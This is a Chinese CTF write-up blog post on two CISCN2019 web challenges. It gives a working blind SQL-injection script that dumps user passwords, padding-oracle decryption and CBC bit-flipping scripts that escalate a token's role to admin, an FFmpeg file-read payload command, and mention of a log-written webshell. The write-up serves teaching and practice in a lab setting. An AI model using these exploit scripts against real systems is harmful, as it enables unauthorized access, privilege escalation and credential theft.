buuoj刷题笔记[CISCN2019(二)]padding oracle初学
[CISCN2019 总决赛 Day2 Web1]Easyweb
- bak源码泄露
- sql注入
- 文件上传,短标签shell日志写入
image.php.bak源码泄露
需要想办法逃逸单引号注入'\0'
=> addslashes
=> '\\\0'
=> str_replace
=> '\'
后一个单引号会被转义,前一个单引号与path字段单引号拼接。造成sql注入
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
die("What's your problem?");
}
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
//secure the path
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
die("What's your problem?");
}
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
EXP
注出账号密码
username: admin
password: 158f494325ac421c0f4a
import requests
import string
str1 = string.printable
tmp=''
for i in range(1,50):
for a in str1:
url = "http://1ac0ae3f-0633-427c-b215-229c94f5273d.node2.buuoj.cn.wetolink.com:82/image.php"
param={
'id':'\\0',
'path':f' or ascii(substr((select group_concat(password) from users),{i},1))={ord(a)}-- '
#'path':f' or length(database())=11-- '
}
rep = requests.get(url,params=param)
print(param)
#print(rep.text)
if rep.text != '':
tmp+=a
print('[+] : ' +tmp)
传入的文件内容会被写进日志内文件,使用短标签写入一句话木马
padding oracle
参考链接:https://www.freebuf.com/articles/database/150606.html
服务器解密过程
服务器从右往左解密,红色圈圈为AES解密后的中间值。前一个Ciphertext是都是相应解密的iv
padding oracle攻击的本质
其实就是通过传递密文以及自己猜测的IV值,通过观察服务器对padding判断的结果,进而反推出中间值,最后用中间值与正确的IV异或得到明文.也就是说这个攻击直接跳过了AES,即我们未获得key值也能够得到明文。
padding添加原理
由于是分组加解密,当块中的字节数不同时候需要添加padding以满足加解密格式。分组要求每个块的大小都要相同
服务器验证明文正确方式
padding的值与添加的字节数相同。PKCS#5标准来说,一般缺少几位,就填充几位那个数字
比如:三位空缺,则这三位都要填上0x03。如果padding规则对不上就会报错,如下。
- 如果解密过程没有问题,明文验证(如用户名密码验证)也通过,则会返回正常 HTTP 200
- 如果解密过程没有问题,但是明文验证出错(如用户名密码验证),则还是会返回 HTTP 200,只是内容上是提示用户用户名密码错误
- 如果解密过程出问题了,比如Padding规则核对不上,则会爆出 HTTP 500错误。
根据上面服务器判断解密过程是否正确的条件来看,只要最后padding值与个数相对应即可
意味着如下公式成立:
C1 ^ 中间值的最后一位 = 0×01
那么按照异或运算的性质,我们不难得到:
中间值的最后一位 = C1 ^ 0×01
逻辑
用伪造的c1替换原来的c1
循环一思路:伪造初始向量c1 ^ 中间值最后一位 =0x01 服务器状态码正常
=> 继而得到中间值
循环第二次至第N次循环:伪造初始向量c1 = 上一步得到的中间值最后一位 ^ 0x02
最后把得到的所有中间值与原iv异或得到明文
0:16 可加可不加,服务器是从右向左解密
[CISCN2019 东北赛区 Day2 Web3]Point System
考点
wp : https://www.zhaoj.in/read-6057.html
- 敏感文件泄露(Robots.txt)
- Padding Oracle 明文推断 & CBC 翻转攻击
- FFMpeg 任意文件读取漏洞
meta的作用
meta里的数据是供机器解读的,告诉机器该如何解析这个页面,还有一个用途是可以添加服务器发送到浏览器的http头部内容
调用界面注册api,发现是作用在内网中,需要外部调用注册
登录后权限不足
login登录后返回token
'user_role':3
这里3指用户权限,需要更改为1
登录login脚本后,将返回的token作为info脚本访问的key。info Response返回头显示user_role为3,权限不足
padding oracle攻击思路
结题思路:需要先得出明文,确定3在密文中的位置,在通过cbc翻转置为1,即可有权限登录服务器,其实这里只要得到第一块block含有我们需要的讯息,后面就不需要解密
eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWmdnU2d1WWRLcTJnYXZ3MXRVLzF3NWptdXM3WHo4WDgxMnlESlU4cWtiL3N1NW9wUStiQW1WdXRrNmhKdkc2Q05PNXNpVVpJdTVFTmsrSXFBbU9yWlhBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiZGhIaHlXS3BqT2VwbUs0RTFXdkVjUmpKSUhNR3pNcWgiLCJleHBpcmVfaW4iOjE1Njk1ODkzNzd9
解码
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1ZggSguYdKq2gavw1tU/1w5jmus7Xz8X812yDJU8qkb/su5opQ+bAmVutk6hJvG6CNO5siUZIu5ENk+IqAmOrZXA==","role":3,"user_id":1,"payload":"dhHhyWKpjOepmK4E1WvEcRjJIHMGzMqh","expire_in":1569589377}
signed_key解码为乱码,
解密exp
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])
def padoracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
signed_key_decoed = base64.b64decode(signed_key)
url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"
N = 16
total_plain = ''
for block in range(0, int(len(signed_key) / 16) - 3):
token = ''
get = ""
cipher = signed_key_decoed[16 + block * 16:32 + block * 16]
for i in range(1, N + 1):
for j in range(0, 256):
token = signed_key_decoed[block * 16:16 + block * 16]
padding = xor(get, chr(i) * (i - 1))
c = (chr(0) * (16 - i)) + chr(j) + padding + cipher
token = base64.b64encode(token + c)
user_key_json_decode['signed_key'] = token
header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}
res = requests.get(url, headers=header)
if res.json()['code'] != 205:
get = chr(j ^ i) + get
break
plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])
total_plain += plain
return total_plain
plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)
#{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}
exp CBC翻转
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
cipher_o = base64.b64decode(signed_key)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = ''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)
return base64.b64encode(json.dumps(user_key_json_decode))
def get_user_info(key):
r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
if r.json()['code'] == 100:
print("获取成功!")
return r.json()['data']
def modify_role_palin(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(json.dumps(user_key_json_decode))
print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWkV0UERnUzJqU2lhWm1wNEhQUWhvMDdwTzEzSHlHeXI4TExXcUFleDY1TzFQM09GQ2FHVSt3cE1iYyticTdXR2Y4MUN4Ujh2dEpGNXhnQ2YyRHVyL2d3PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiaWtJVmsyd21DQWc0cVpqV0tGMk5nT25aR3dyT3V2eFQiLCJleHBpcmVfaW4iOjE1Njk2NDUwMzF9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)
#Key: eyJleHBpcmVfaW4iOiAxNTY5NjQ1MDMxLCAicm9sZSI6IDEsICJ1c2VyX2lkIjogMSwgInBheWxvYWQiOiAiaWtJVmsyd21DQWc0cVpqV0tGMk5nT25aR3dyT3V2eFQiLCAic2lnbmVkX2tleSI6ICJTVU40YTFOcGJtZEdZVzVqWlZKaFVIc0ZRUjRsbjVWRkM5TDA5ZWNoa1loVFdRZ2l3Wm9oajI3Sld0OTgvKzFaRXRQRGdTMmpTaWFabXA0SFBRaG8wN3BPMTNIeUd5cjhMTFdxQWV4NjVPMVAzT0ZDYUdVK3dwTWJjK2JxN1dHZjgxQ3hSOHZ0SkY1eGdDZjJEdXIvZ3c9PSJ9
添加翻转后的cookie,刷新进入后台界面
FFMpeg漏洞读取文件
https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload
python3 gen_xbin_avi.py file:///flag get.avi
上传avi,在下载下来
flag{2b38832a-9409-4742-8297-996f0ecf9126}
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!